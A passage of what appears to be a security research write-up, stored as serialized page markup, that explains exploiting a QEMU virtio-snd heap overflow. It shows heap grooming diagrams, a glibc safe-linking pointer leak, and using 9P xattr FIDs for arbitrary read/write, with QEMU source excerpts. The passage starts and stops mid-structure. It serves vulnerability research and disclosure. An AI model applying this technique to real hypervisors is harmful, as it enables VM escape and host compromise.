buffer->size))\n",[127001],{"type":23,"tag":135,"props":127002,"children":127003},{"__ignoreMap":7},[127004],{"type":28,"value":126999},{"type":23,"tag":24,"props":127006,"children":127007},{},[127008,127010,127015,127017,127022],{"type":28,"value":127009},"And as mentioned earlier, ",{"type":23,"tag":135,"props":127011,"children":127013},{"className":127012},[],[127014],{"type":28,"value":123545},{"type":28,"value":127016}," is fully guest-controlled, so we can set it such that the overflow reaches exactly far enough to overwrite only the lowest byte of the next chunk's ",{"type":23,"tag":135,"props":127018,"children":127020},{"className":127019},[],[127021],{"type":28,"value":122164},{"type":28,"value":56225},{"type":23,"tag":24,"props":127024,"children":127025},{},[127026,127028,127033,127035,127040],{"type":28,"value":127027},"With the desired heap layout of repeated ",{"type":23,"tag":135,"props":127029,"children":127031},{"className":127030},[],[127032],{"type":28,"value":125718},{"type":28,"value":127034},"-sized ",{"type":23,"tag":135,"props":127036,"children":127038},{"className":127037},[],[127039],{"type":28,"value":125816},{"type":28,"value":127041}," chunks in place, we can then free every other one:",{"type":23,"tag":128,"props":127043,"children":127045},{"code":127044},"               Free                  Free\n+----------+----------+----------+----------+----------+\n|          |..........|          |..........|          |\n| .value A |..........| .value C |..........| .value E |\n|          |..........|          |..........|          |\n+----------+----------+----------+----------+----------+\n",[127046],{"type":23,"tag":135,"props":127047,"children":127048},{"__ignoreMap":7},[127049],{"type":28,"value":127044},{"type":23,"tag":24,"props":127051,"children":127052},{},[127053,127055,127060],{"type":28,"value":127054},"We then allocate the overflowing virtio-snd buffer into one of those holes, start the stream, and let it overflow into the size field of the ",{"type":23,"tag":135,"props":127056,"children":127058},{"className":127057},[],[127059],{"type":28,"value":125816},{"type":28,"value":127061}," chunk directly next to it:",{"type":23,"tag":128,"props":127063,"children":127065},{"code":127064},"           +----------+\n           |          |              Free\n+----------|  buffer  |----------+----------+----------+\n|          |          |          |..........|          |\n| .value A +----------+ .value C |..........| .value E |\n|          |          |          |..........|          |\n+----------+          +----------+----------+----------+\n",[127066],{"type":23,"tag":135,"props":127067,"children":127068},{"__ignoreMap":7},[127069],{"type":28,"value":127064},{"type":23,"tag":24,"props":127071,"children":127072},{},[127073,127075,127080,127082,127087],{"type":28,"value":127074},"After the overflow, the virtio-snd buffer is freed by QEMU. We then refill all of the holes created for the virtio-snd buffer by allocating new ",{"type":23,"tag":135,"props":127076,"children":127078},{"className":127077},[],[127079],{"type":28,"value":125718},{"type":28,"value":127081},"-sized chunks in their place. At that point, we are left with a layout similar to the original one, except that one ",{"type":23,"tag":135,"props":127083,"children":127085},{"className":127084},[],[127086],{"type":28,"value":125816},{"type":28,"value":127088}," chunk now has a corrupted and likely oversized size field:",{"type":23,"tag":128,"props":127090,"children":127092},{"code":127091},"                      Oversized chunk\n                             |\n                      +------+------+\n                      |             |\n                      v             v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value C | .value Y | .value E |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127093],{"type":23,"tag":135,"props":127094,"children":127095},{"__ignoreMap":7},[127096],{"type":28,"value":127091},{"type":23,"tag":24,"props":127098,"children":127099},{},[127100,127102,127107],{"type":28,"value":127101},"At this point, we can free the chunks left over from the initial contiguous spray. Because one chunk now has a corrupted, larger size field, freeing it causes a single oversized chunk to be inserted into one of the tcache bins in the range ",{"type":23,"tag":135,"props":127103,"children":127105},{"className":127104},[],[127106],{"type":28,"value":125733},{"type":28,"value":2493},{"type":23,"tag":128,"props":127109,"children":127111},{"code":127110},"                           Free\n                        0x210-0x2f0\n                             |\n                      +------+------+\n   Free               |             |          Free\n   0x200              v             v          0x200\n+----------+----------+----------+----------+----------+\n|..........|          |..........|          |..........|\n|..........| .value X |..........| .value Y |..........|\n|..........|          |..........|          |..........|\n+----------+----------+----------+----------+----------+\n",[127112],{"type":23,"tag":135,"props":127113,"children":127114},{"__ignoreMap":7},[127115],{"type":28,"value":127110},{"type":23,"tag":24,"props":127117,"children":127118},{},[127119,127121,127126],{"type":28,"value":127120},"We then once again fill the remaining holes and recover the oversized chunk by simply allocating every size in the possible range (",{"type":23,"tag":135,"props":127122,"children":127124},{"className":127123},[],[127125],{"type":28,"value":125733},{"type":28,"value":18750},{"type":23,"tag":128,"props":127128,"children":127130},{"code":127129},"                         .value B\n                      +-------------+\n                      |             |\n                      v             v\n+----------+----------+----------+--+-------+----------+\n|          |          |          |//|       |          |\n| .value A | .value X |          |//|       | .value C |\n|          |          |          |//|       |          |\n+----------+----------+----------+--+-------+----------+\n                                 ^          ^\n                                 |          |\n                                 +----------+\n                                   .value Y\n",[127131],{"type":23,"tag":135,"props":127132,"children":127133},{"__ignoreMap":7},[127134],{"type":28,"value":127129},{"type":23,"tag":24,"props":127136,"children":127137},{},[127138,127140,127146],{"type":28,"value":127139},"After reclaiming it, we use that chunk to overwrite the size of the next chunk again, but this time we set it to ",{"type":23,"tag":135,"props":127141,"children":127143},{"className":127142},[],[127144],{"type":28,"value":127145},"0x400",{"type":28,"value":127147}," - this gives us a chunk that fully overlaps the chunk next to it, leaving us in the following final state:",{"type":23,"tag":128,"props":127149,"children":127151},{"code":127150},"                                    .value Y extended\n                                            |\n                                 +----------+----------+\n                                 |                     |\n                                 v                     v\n+----------+----------+----------+----------+----------+\n|          |          |          |          |          |\n| .value A | .value X | .value B | .value Y | .value C |\n|          |          |          |          |          |\n+----------+----------+----------+----------+----------+\n",[127152],{"type":23,"tag":135,"props":127153,"children":127154},{"__ignoreMap":7},[127155],{"type":28,"value":127150},{"type":23,"tag":666,"props":127157,"children":127159},{"id":127158},"leaking-a-heap-address",[127160],{"type":28,"value":127161},"Leaking a Heap Address",{"type":23,"tag":24,"props":127163,"children":127164},{},[127165],{"type":28,"value":127166},"We begin by leaking a heap address, since that is the simplest target at this stage. More specifically, we want the address of a heap chunk whose contents we control. Once we have that, we gain a region of memory at a known address with controlled contents, which is useful for placing fake objects or reclaiming the same location with other objects and later inspecting them with an arbitrary read primitive.",{"type":23,"tag":24,"props":127168,"children":127169},{},[127170,127172,127178],{"type":28,"value":127171},"To do this, we abuse the forward (",{"type":23,"tag":135,"props":127173,"children":127175},{"className":127174},[],[127176],{"type":28,"value":127177},"fd",{"type":28,"value":127179},") pointers used by tcache freelists. Modern glibc protects these pointers with a mitigation known as safe-linking. Instead of storing the next free chunk pointer directly, glibc encodes it by XORing it with the address of the current chunk, shifted right by 12:",{"type":23,"tag":128,"props":127181,"children":127183},{"code":127182},"fd = next ^ (curr >> 12)\n",[127184],{"type":23,"tag":135,"props":127185,"children":127186},{"__ignoreMap":7},[127187],{"type":28,"value":127182},{"type":23,"tag":24,"props":127189,"children":127190},{},[127191,127193,127198,127199,127204],{"type":28,"value":127192},"When a tcache bin is empty and a single chunk is inserted into it, ",{"type":23,"tag":135,"props":127194,"children":127196},{"className":127195},[],[127197],{"type":28,"value":55464},{"type":28,"value":3504},{"type":23,"tag":135,"props":127200,"children":127202},{"className":127201},[],[127203],{"type":28,"value":52394},{"type":28,"value":127205}," because there is no following entry. In that case, the encoding becomes:",{"type":23,"tag":128,"props":127207,"children":127209},{"code":127208},"fd = 0 ^ (curr >> 12)\n",[127210],{"type":23,"tag":135,"props":127211,"children":127212},{"__ignoreMap":7},[127213],{"type":28,"value":127208},{"type":23,"tag":24,"props":127215,"children":127216},{},[127217,127219,127224],{"type":28,"value":127218},"So if we free a single chunk into an empty tcache bin, its ",{"type":23,"tag":135,"props":127220,"children":127222},{"className":127221},[],[127223],{"type":28,"value":127177},{"type":28,"value":127225}," field is effectively just the chunk address shifted right by 12.",{"type":23,"tag":24,"props":127227,"children":127228},{},[127229],{"type":28,"value":127230},"In the overlap we achieved earlier:",{"type":23,"tag":128,"props":127232,"children":127234},{"code":127233},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                                         |\nv                                         v\n+--------------------+--------------------+\n|                    |                    |\n|      .value Y      |      .value C      |\n|                    |                    |\n+--------------------+--------------------+\n",[127235],{"type":23,"tag":135,"props":127236,"children":127237},{"__ignoreMap":7},[127238],{"type":28,"value":127233},{"type":23,"tag":24,"props":127240,"children":127241},{},[127242,127244,127250,127252,127258,127260,127266,127268,127273],{"type":28,"value":127243},"We first free ",{"type":23,"tag":135,"props":127245,"children":127247},{"className":127246},[],[127248],{"type":28,"value":127249},".value C",{"type":28,"value":127251}," into tcache and read its contents through the oversized ",{"type":23,"tag":135,"props":127253,"children":127255},{"className":127254},[],[127256],{"type":28,"value":127257},".value Y",{"type":28,"value":127259},". This gives us ",{"type":23,"tag":135,"props":127261,"children":127263},{"className":127262},[],[127264],{"type":28,"value":127265},".value C >> 12",{"type":28,"value":127267},". That is not yet the exact address of ",{"type":23,"tag":135,"props":127269,"children":127271},{"className":127270},[],[127272],{"type":28,"value":127249},{"type":28,"value":127274},", since the lower 12 bits are lost.",{"type":23,"tag":24,"props":127276,"children":127277},{},[127278,127280,127285,127287,127292,127294,127299,127301,127306],{"type":28,"value":127279},"To recover the exact address of a controlled heap chunk, we reclaim ",{"type":23,"tag":135,"props":127281,"children":127283},{"className":127282},[],[127284],{"type":28,"value":127249},{"type":28,"value":127286},", then free a different controlled chunk into the same tcache bin. After that, we free ",{"type":23,"tag":135,"props":127288,"children":127290},{"className":127289},[],[127291],{"type":28,"value":127249},{"type":28,"value":127293}," again. This time, ",{"type":23,"tag":135,"props":127295,"children":127297},{"className":127296},[],[127298],{"type":28,"value":55464},{"type":28,"value":127300}," is no longer ",{"type":23,"tag":135,"props":127302,"children":127304},{"className":127303},[],[127305],{"type":28,"value":52394},{"type":28,"value":127307},", but instead points to that controlled chunk, so the encoded forward pointer becomes:",{"type":23,"tag":128,"props":127309,"children":127310},{"code":127182},[127311],{"type":23,"tag":135,"props":127312,"children":127313},{"__ignoreMap":7},[127314],{"type":28,"value":127182},{"type":23,"tag":24,"props":127316,"children":127317},{},[127318,127320,127326,127328,127333,127335,127340,127342,127347],{"type":28,"value":127319},"Since we already know ",{"type":23,"tag":135,"props":127321,"children":127323},{"className":127322},[],[127324],{"type":28,"value":127325},"curr >> 12",{"type":28,"value":127327}," from the first leak, we can read the new ",{"type":23,"tag":135,"props":127329,"children":127331},{"className":127330},[],[127332],{"type":28,"value":127177},{"type":28,"value":127334}," value from ",{"type":23,"tag":135,"props":127336,"children":127338},{"className":127337},[],[127339],{"type":28,"value":127249},{"type":28,"value":127341}," and recover the exact address of ",{"type":23,"tag":135,"props":127343,"children":127345},{"className":127344},[],[127346],{"type":28,"value":55464},{"type":28,"value":127348}," by reversing the XOR:",{"type":23,"tag":128,"props":127350,"children":127352},{"code":127351},"next = fd ^ (curr >> 12)\n",[127353],{"type":23,"tag":135,"props":127354,"children":127355},{"__ignoreMap":7},[127356],{"type":28,"value":127351},{"type":23,"tag":24,"props":127358,"children":127359},{},[127360],{"type":28,"value":127361},"This gives us the exact address of a heap chunk whose contents we control.",{"type":23,"tag":666,"props":127363,"children":127365},{"id":127364},"arbitrary-read-and-write",[127366],{"type":28,"value":127367},"Arbitrary Read and Write",{"type":23,"tag":24,"props":127369,"children":127370},{},[127371,127373,127378],{"type":28,"value":127372},"Having a controlled chunk at a known address lets us repurpose ",{"type":23,"tag":135,"props":127374,"children":127376},{"className":127375},[],[127377],{"type":28,"value":127249},{"type":28,"value":127379}," into an arbitrary read/write primitive. To do that, we go back to the 9P device.",{"type":23,"tag":24,"props":127381,"children":127382},{},[127383,127385,127390],{"type":28,"value":127384},"Recall ",{"type":23,"tag":135,"props":127386,"children":127388},{"className":127387},[],[127389],{"type":28,"value":125853},{"type":28,"value":2493},{"type":23,"tag":128,"props":127392,"children":127394},{"code":127393,"language":1123,"meta":7,"className":14526,"style":7},"static void coroutine_fn v9fs_xattrcreate(void *opaque)\n{\n    uint64_t size;\n    V9fsFidState *file_fidp;\n    V9fsFidState *xattr_fidp;\n\n    [...]\n\n    file_fidp = get_fid(pdu, fid);\n\n    [...]\n\n    /* Make the file fid point to xattr */\n    xattr_fidp = file_fidp;\n    xattr_fidp->fs.xattr.len = size;\n    xattr_fidp->fs.xattr.value = g_malloc0(size);\n\n    [...]\n",[127395],{"type":23,"tag":135,"props":127396,"children":127397},{"__ignoreMap":7},[127398,127437,127444,127455,127470,127485,127492,127499,127506,127528,127535,127542,127549,127557,127574,127613,127656,127663],{"type":23,"tag":139,"props":127399,"children":127400},{"class":141,"line":142},[127401,127405,127409,127413,127417,127421,127425,127429,127433],{"type":23,"tag":139,"props":127402,"children":127403},{"style":279},[127404],{"type":28,"value":48942},{"type":23,"tag":139,"props":127406,"children":127407},{"style":279},[127408],{"type":28,"value":48947},{"type":23,"tag":139,"props":127410,"children":127411},{"style":259},[127412],{"type":28,"value":125848},{"type":23,"tag":139,"props":127414,"children":127415},{"style":245},[127416],{"type":28,"value":125853},{"type":23,"tag":139,"props":127418,"children":127419},{"style":259},[127420],{"type":28,"value":262},{"type":23,"tag":139,"props":127422,"children":127423},{"style":279},[127424],{"type":28,"value":49525},{"type":23,"tag":139,"props":127426,"children":127427},{"style":982},[127428],{"type":28,"value":7825},{"type":23,"tag":139,"props":127430,"children":127431},{"style":294},[127432],{"type":28,"value":125870},{"type":23,"tag":139,"props":127434,"children":127435},{"style":259},[127436],{"type":28,"value":273},{"type":23,"tag":139,"props":127438,"children":127439},{"class":141,"line":151},[127440],{"type":23,"tag":139,"props":127441,"children":127442},{"style":259},[127443],{"type":28,"value":8890},{"type":23,"tag":139,"props":127445,"children":127446},{"class":141,"line":160},[127447,127451],{"type":23,"tag":139,"props":127448,"children":127449},{"style":279},[127450],{"type":28,"value":53511},{"type":23,"tag":139,"props":127452,"children":127453},{"style":259},[127454],{"type":28,"value":122506},{"type":23,"tag":139,"props":127456,"children":127457},{"class":141,"line":169},[127458,127462,127466],{"type":23,"tag":139,"props":127459,"children":127460},{"style":259},[127461],{"type":28,"value":125995},{"type":23,"tag":139,"props":127463,"children":127464},{"style":982},[127465],{"type":28,"value":2573},{"type":23,"tag":139,"props":127467,"children":127468},{"style":259},[127469],{"type":28,"value":126004},{"type":23,"tag":139,"props":127471,"children":127472},{"class":141,"line":178},[127473,127477,127481],{"type":23,"tag":139,"props":127474,"children":127475},{"style":259},[127476],{"type":28,"value":125995},{"type":23,"tag":139,"props":127478,"children":127479},{"style":982},[127480],{"type":28,"value":2573},{"type":23,"tag":139,"props":127482,"children":127483},{"style":259},[127484],{"type":28,"value":126020},{"type":23,"tag":139,"props":127486,"children":127487},{"class":141,"line":187},[127488],{"type":23,"tag":139,"props":127489,"children":127490},{"emptyLinePlaceholder":15},[127491],{"type":28,"value":184},{"type":23,"tag":139,"props":127493,"children":127494},{"class":141,"line":196},[127495],{"type":23,"tag":139,"props":127496,"children":127497},{"style":259},[127498],{"type":28,"value":102705},{"type":23,"tag":139,"props":127500,"children":127501},{"class":141,"line":205},[127502],{"type":23,"tag":139,"props":127503,"children":127504},{"emptyLinePlaceholder":15},[127505],{"type":28,"value":184},{"type":23,"tag":139,"props":127507,"children":127508},{"class":141,"line":214},[127509,127514,127518,127523],{"type":23,"tag":139,"props":127510,"children":127511},{"style":259},[127512],{"type":28,"value":127513},"    file_fidp ",{"type":23,"tag":139,"props":127515,"children":127516},{"style":982},[127517],{"type":28,"value":1067},{"type":23,"tag":139,"props":127519,"children":127520},{"style":245},[127521],{"type":28,"value":127522}," get_fid",{"type":23,"tag":139,"props":127524,"children":127525},{"style":259},[127526],{"type":28,"value":127527},"(pdu, fid);\n",{"type":23,"tag":139,"props":127529,"children":127530},{"class":141,"line":1320},[127531],{"type":23,"tag":139,"props":127532,"children":127533},{"emptyLinePlaceholder":15},[127534],{"type":28,"value":184},{"type":23,"tag":139,"props":127536,"children":127537},{"class":141,"line":1329},[127538],{"type":23,"tag":139,"props":127539,"children":127540},{"style":259},[127541],{"type":28,"value":102705},{"type":23,"tag":139,"props":127543,"children":127544},{"class":141,"line":1580},[127545],{"type":23,"tag":139,"props":127546,"children":127547},{"emptyLinePlaceholder":15},[127548],{"type":28,"value":184},{"type":23,"tag":139,"props":127550,"children":127551},{"class":141,"line":1597},[127552],{"type":23,"tag":139,"props":127553,"children":127554},{"style":958},[127555],{"type":28,"value":127556},"    /* Make the file fid point to xattr */\n",{"type":23,"tag":139,"props":127558,"children":127559},{"class":141,"line":1614},[127560,127565,127569],{"type":23,"tag":139,"props":127561,"children":127562},{"style":259},[127563],{"type":28,"value":127564},"    xattr_fidp ",{"type":23,"tag":139,"props":127566,"children":127567},{"style":982},[127568],{"type":28,"value":1067},{"type":23,"tag":139,"props":127570,"children":127571},{"style":259},[127572],{"type":28,"value":127573}," file_fidp;\n",{"type":23,"tag":139,"props":127575,"children":127576},{"class":141,"line":1627},[127577,127581,127585,127589,127593,127597,127601,127605,127609],{"type":23,"tag":139,"props":127578,"children":127579},{"style":294},[127580],{"type":28,"value":126398},{"type":23,"tag":139,"props":127582,"children":127583},{"style":259},[127584],{"type":28,"value":11768},{"type":23,"tag":139,"props":127586,"children":127587},{"style":294},[127588],{"type":28,"value":34872},{"type":23,"tag":139,"props":127590,"children":127591},{"style":259},[127592],{"type":28,"value":73},{"type":23,"tag":139,"props":127594,"children":127595},{"style":294},[127596],{"type":28,"value":126322},{"type":23,"tag":139,"props":127598,"children":127599},{"style":259},[127600],{"type":28,"value":73},{"type":23,"tag":139,"props":127602,"children":127603},{"style":294},[127604],{"type":28,"value":7146},{"type":23,"tag":139,"props":127606,"children":127607},{"style":982},[127608],{"type":28,"value":985},{"type":23,"tag":139,"props":127610,"children":127611},{"style":259},[127612],{"type":28,"value":122506},{"type":23,"tag":139,"props":127614,"children":127615},{"class":141,"line":1636},[127616,127620,127624,127628,127632,127636,127640,127644,127648,127652],{"type":23,"tag":139,"props":127617,"children":127618},{"style":294},[127619],{"type":28,"value":126398},{"type":23,"tag":139,"props":127621,"children":127622},{"style":259},[127623],{"type":28,"value":11768},{"type":23,"tag":139,"props":127625,"children":127626},{"style":294},[127627],{"type":28,"value":34872},{"type":23,"tag":139,"props":127629,"children":127630},{"style":259},[127631],{"type":28,"value":73},{"type":23,"tag":139,"props":127633,"children":127634},{"style":294},[127635],{"type":28,"value":126322},{"type":23,"tag":139,"props":127637,"children":127638},{"style":259},[127639],{"type":28,"value":73},{"type":23,"tag":139,"props":127641,"children":127642},{"style":294},[127643],{"type":28,"value":37042},{"type":23,"tag":139,"props":127645,"children":127646},{"style":982},[127647],{"type":28,"value":985},{"type":23,"tag":139,"props":127649,"children":127650},{"style":245},[127651],{"type":28,"value":122077},{"type":23,"tag":139,"props":127653,"children":127654},{"style":259},[127655],{"type":28,"value":126435},{"type":23,"tag":139,"props":127657,"children":127658},{"class":141,"line":1659},[127659],{"type":23,"tag":139,"props":127660,"children":127661},{"emptyLinePlaceholder":15},[127662],{"type":28,"value":184},{"type":23,"tag":139,"props":127664,"children":127665},{"class":141,"line":1667},[127666],{"type":23,"tag":139,"props":127667,"children":127668},{"style":259},[127669],{"type":28,"value":102705},{"type":23,"tag":24,"props":127671,"children":127672},{},[127673,127675,127681,127683,127688,127689,127694,127696,127701,127703,127709,127710,127716,127718,127723,127724,127729],{"type":28,"value":127674},"The important detail here is that an xattr FID stores both the backing pointer and its length inside the surrounding ",{"type":23,"tag":135,"props":127676,"children":127678},{"className":127677},[],[127679],{"type":28,"value":127680},"V9fsFidState",{"type":28,"value":127682}," object. In other words, if we can place a ",{"type":23,"tag":135,"props":127684,"children":127686},{"className":127685},[],[127687],{"type":28,"value":127680},{"type":28,"value":5325},{"type":23,"tag":135,"props":127690,"children":127692},{"className":127691},[],[127693],{"type":28,"value":127249},{"type":28,"value":127695}," currently sits, the overlapping ",{"type":23,"tag":135,"props":127697,"children":127699},{"className":127698},[],[127700],{"type":28,"value":127257},{"type":28,"value":127702}," chunk can overwrite ",{"type":23,"tag":135,"props":127704,"children":127706},{"className":127705},[],[127707],{"type":28,"value":127708},"V9fsFidState.fs.xattr.value",{"type":28,"value":9002},{"type":23,"tag":135,"props":127711,"children":127713},{"className":127712},[],[127714],{"type":28,"value":127715},"V9fsFidState.fs.xattr.len",{"type":28,"value":127717},". That would immediately give us arbitrary read and write through ",{"type":23,"tag":135,"props":127719,"children":127721},{"className":127720},[],[127722],{"type":28,"value":126511},{"type":28,"value":9002},{"type":23,"tag":135,"props":127725,"children":127727},{"className":127726},[],[127728],{"type":28,"value":126503},{"type":28,"value":73},{"type":23,"tag":24,"props":127731,"children":127732},{},[127733,127735,127740,127741,127746,127748,127753,127755,127761,127763,127768,127770,127775,127777,127782,127784,127789,127791,127796],{"type":28,"value":127734},"At this point, ",{"type":23,"tag":135,"props":127736,"children":127738},{"className":127737},[],[127739],{"type":28,"value":127249},{"type":28,"value":13456},{"type":23,"tag":135,"props":127742,"children":127744},{"className":127743},[],[127745],{"type":28,"value":125718},{"type":28,"value":127747}," chunk, while ",{"type":23,"tag":135,"props":127749,"children":127751},{"className":127750},[],[127752],{"type":28,"value":127680},{"type":28,"value":127754}," falls into the ",{"type":23,"tag":135,"props":127756,"children":127758},{"className":127757},[],[127759],{"type":28,"value":127760},"0x120",{"type":28,"value":127762}," size class. Before freeing ",{"type":23,"tag":135,"props":127764,"children":127766},{"className":127765},[],[127767],{"type":28,"value":127249},{"type":28,"value":127769},", we therefore use the oversized ",{"type":23,"tag":135,"props":127771,"children":127773},{"className":127772},[],[127774],{"type":28,"value":127257},{"type":28,"value":127776}," chunk to change its size to match ",{"type":23,"tag":135,"props":127778,"children":127780},{"className":127779},[],[127781],{"type":28,"value":127680},{"type":28,"value":127783},". Once ",{"type":23,"tag":135,"props":127785,"children":127787},{"className":127786},[],[127788],{"type":28,"value":127249},{"type":28,"value":127790}," is freed, it is inserted into the ",{"type":23,"tag":135,"props":127792,"children":127794},{"className":127793},[],[127795],{"type":28,"value":127760},{"type":28,"value":127797}," tcache bin.",{"type":23,"tag":128,"props":127799,"children":127801},{"code":127800},"             .value Y extended\n                     |\n+--------------------+--------------------+\n|                                         |\n|                          Free           |\nv                          0x120          v\n+--------------------+---------------+----+\n|                    |...............|    |\n|      .value Y      |...............|    |\n|                    |...............|    |\n+--------------------+---------------+----+\n",[127802],{"type":23,"tag":135,"props":127803,"children":127804},{"__ignoreMap":7},[127805],{"type":28,"value":127800},{"type":23,"tag":24,"props":127807,"children":127808},{},[127809,127811,127816,127818,127824,127826,127832,127834,127839],{"type":28,"value":127810},"After that, we can simply allocate a new ",{"type":23,"tag":135,"props":127812,"children":127814},{"className":127813},[],[127815],{"type":28,"value":127680},{"type":28,"value":127817}," with a ",{"type":23,"tag":135,"props":127819,"children":127821},{"className":127820},[],[127822],{"type":28,"value":127823},"P9_TWALK",{"type":28,"value":127825}," request and a fresh FID - this reaches ",{"type":23,"tag":135,"props":127827,"children":127829},{"className":127828},[],[127830],{"type":28,"value":127831},"alloc_fid",{"type":28,"value":127833},", which allocates a new ",{"type":23,"tag":135,"props":127835,"children":127837},{"className":127836},[],[127838],{"type":28,"value":127680},{"type":28,"value":2493},{"type":23,"tag":128,"props":127841,"children":127843},{"code":127842,"language":1123,"meta":7,"className":14526,"style":7},"static void coroutine_fn v9fs_walk(void *opaque)\n{\n    V9fsFidState *fidp;\n    V9fsFidState *newfidp = NULL;\n\n    [...]\n\n    if (fid == newfid) {\n        [...]\n    } else {\n        newfidp = alloc_fid(s, newfid);\n        if (newfidp == NULL) {\n            err = -EINVAL;\n            goto out;\n        }\n        newfidp->uid = fidp->uid;\n        v9fs_path_copy(&newfidp->path, &path);\n    }\n\n    [...]\n}\n\nstatic V9fsFidState *alloc_fid(V9fsState *s, int32_t fid)\n{\n    V9fsFidState *f;\n\n    f = g_hash_table_lookup(s->fids, GINT_TO_POINTER(fid));\n    if (f) {\n        /* If fid is already there return NULL */\n        BUG_ON(f->clunked);\n        return NULL;\n    }\n    f = g_new0(V9fsFidState, 1);\n\n    [...]\n",[127844],{"type":23,"tag":135,"props":127845,"children":127846},{"__ignoreMap":7},[127847,127887,127894,127910,127938,127945,127952,127959,127980,127987,128002,128024,128048,128069,128080,128087,128125,128167,128174,128181,128188,128195,128202,128253,128260,128275,128282,128330,128342,128350,128379,128394,128401,128430,128437],{"type":23,"tag":139,"props":127848,"children":127849},{"class":141,"line":142},[127850,127854,127858,127862,127867,127871,127875,127879,127883],{"type":23,"tag":139,"props":127851,"children":127852},{"style":279},[127853],{"type":28,"value":48942},{"type":23,"tag":139,"props":127855,"children":127856},{"style":279},[127857],{"type":28,"value":48947},{"type":23,"tag":139,"props":127859,"children":127860},{"style":259},[127861],{"type":28,"value":125848},{"type":23,"tag":139,"props":127863,"children":127864},{"style":245},[127865],{"type":28,"value":127866},"v9fs_walk",{"type":23,"tag":139,"props":127868,"children":127869},{"style":259},[127870],{"type":28,"value":262},{"type":23,"tag":139,"props":127872,"children":127873},{"style":279},[127874],{"type":28,"value":49525},{"type":23,"tag":139,"props":127876,"children":127877},{"style":982},[127878],{"type":28,"value":7825},{"type":23,"tag":139,"props":127880,"children":127881},{"style":294},[127882],{"type":28,"value":125870},{"type":23,"tag":139,"props":127884,"children":127885},{"style":259},[127886],{"type":28,"value":273},{"type":23,"tag":139,"props":127888,"children":127889},{"class":141,"line":151},[127890],{"type":23,"tag":139,"props":127891,"children":127892},{"style":259},[127893],{"type":28,"value":8890},{"type":23,"tag":139,"props":127895,"children":127896},{"class":141,"line":160},[127897,127901,127905],{"type":23,"tag":139,"props":127898,"children":127899},{"style":259},[127900],{"type":28,"value":125995},{"type":23,"tag":139,"props":127902,"children":127903},{"style":982},[127904],{"type":28,"value":2573},{"type":23,"tag":139,"props":127906,"children":127907},{"style":259},[127908],{"type":28,"value":127909},"fidp;\n",{"type":23,"tag":139,"props":127911,"children":127912},{"class":141,"line":169},[127913,127917,127921,127926,127930,127934],{"type":23,"tag":139,"props":127914,"children":127915},{"style":259},[127916],{"type":28,"value":125995},{"type":23,"tag":139,"props":127918,"children":127919},{"style":982},[127920],{"type":28,"value":2573},{"type":23,"tag":139,"props":127922,"children":127923},{"style":259},[127924],{"type":28,"value":127925},"newfidp ",{"type":23,"tag":139,"props":127927,"children":127928},{"style":982},[127929],{"type":28,"value":1067},{"type":23,"tag":139,"props":127931,"children":127932},{"style":279},[127933],{"type":28,"value":125674},{"type":23,"tag":139,"props":127935,"children":127936},{"style":259},[127937],{"type":28,"value":995},{"type":23,"tag":139,"props":127939,"children":127940},{"class":141,"line":178},[127941],{"type":23,"tag":139,"props":127942,"children":127943},{"emptyLinePlaceholder":15},[127944],{"type":28,"value":184},{"type":23,"tag":139,"props":127946,"children":127947},{"class":141,"line":187},[127948],{"type":23,"tag":139,"props":127949,"children":127950},{"style":259},[127951],{"type":28,"value":102705},{"type":23,"tag":139,"props":127953,"children":127954},{"class":141,"line":196},[127955],{"type":23,"tag":139,"props":127956,"children":127957},{"emptyLinePlaceholder":15},[127958],{"type":28,"value":184},{"type":23,"tag":139,"props":127960,"children":127961},{"class":141,"line":205},[127962,127966,127971,127975],{"type":23,"tag":139,"props":127963,"children":127964},{"style":319},[127965],{"type":28,"value":10290},{"type":23,"tag":139,"props":127967,"children":127968},{"style":259},[127969],{"type":28,"value":127970}," (fid ",{"type":23,"tag":139,"props":127972,"children":127973},{"style":982},[127974],{"type":28,"value":6580},{"type":23,"tag":139,"props":127976,"children":127977},{"style":259},[127978],{"type":28,"value":127979}," newfid) {\n",{"type":23,"tag":139,"props":127981,"children":127982},{"class":141,"line":214},[127983],{"type":23,"tag":139,"props":127984,"children":127985},{"style":259},[127986],{"type":28,"value":121943},{"type":23,"tag":139,"props":127988,"children":127989},{"class":141,"line":1320},[127990,127994,127998],{"type":23,"tag":139,"props":127991,"children":127992},{"style":259},[127993],{"type":28,"value":13790},{"type":23,"tag":139,"props":127995,"children":127996},{"style":319},[127997],{"type":28,"value":1293},{"type":23,"tag":139,"props":127999,"children":128000},{"style":259},[128001],{"type":28,"value":1268},{"type":23,"tag":139,"props":128003,"children":128004},{"class":141,"line":1329},[128005,128010,128014,128019],{"type":23,"tag":139,"props":128006,"children":128007},{"style":259},[128008],{"type":28,"value":128009},"        newfidp ",{"type":23,"tag":139,"props":128011,"children":128012},{"style":982},[128013],{"type":28,"value":1067},{"type":23,"tag":139,"props":128015,"children":128016},{"style":245},[128017],{"type":28,"value":128018}," alloc_fid",{"type":23,"tag":139,"props":128020,"children":128021},{"style":259},[128022],{"type":28,"value":128023},"(s, newfid);\n",{"type":23,"tag":139,"props":128025,"children":128026},{"class":141,"line":1580},[128027,128031,128036,128040,128044],{"type":23,"tag":139,"props":128028,"children":128029},{"style":319},[128030],{"type":28,"value":1249},{"type":23,"tag":139,"props":128032,"children":128033},{"style":259},[128034],{"type":28,"value":128035}," (newfidp ",{"type":23,"tag":139,"props":128037,"children":128038},{"style":982},[128039],{"type":28,"value":6580},{"type":23,"tag":139,"props":128041,"children":128042},{"style":279},[128043],{"type":28,"value":125674},{"type":23,"tag":139,"props":128045,"children":128046},{"style":259},[128047],{"type":28,"value":12815},{"type":23,"tag":139,"props":128049,"children":128050},{"class":141,"line":1597},[128051,128056,128060,128064],{"type":23,"tag":139,"props":128052,"children":128053},{"style":259},[128054],{"type":28,"value":128055},"            err 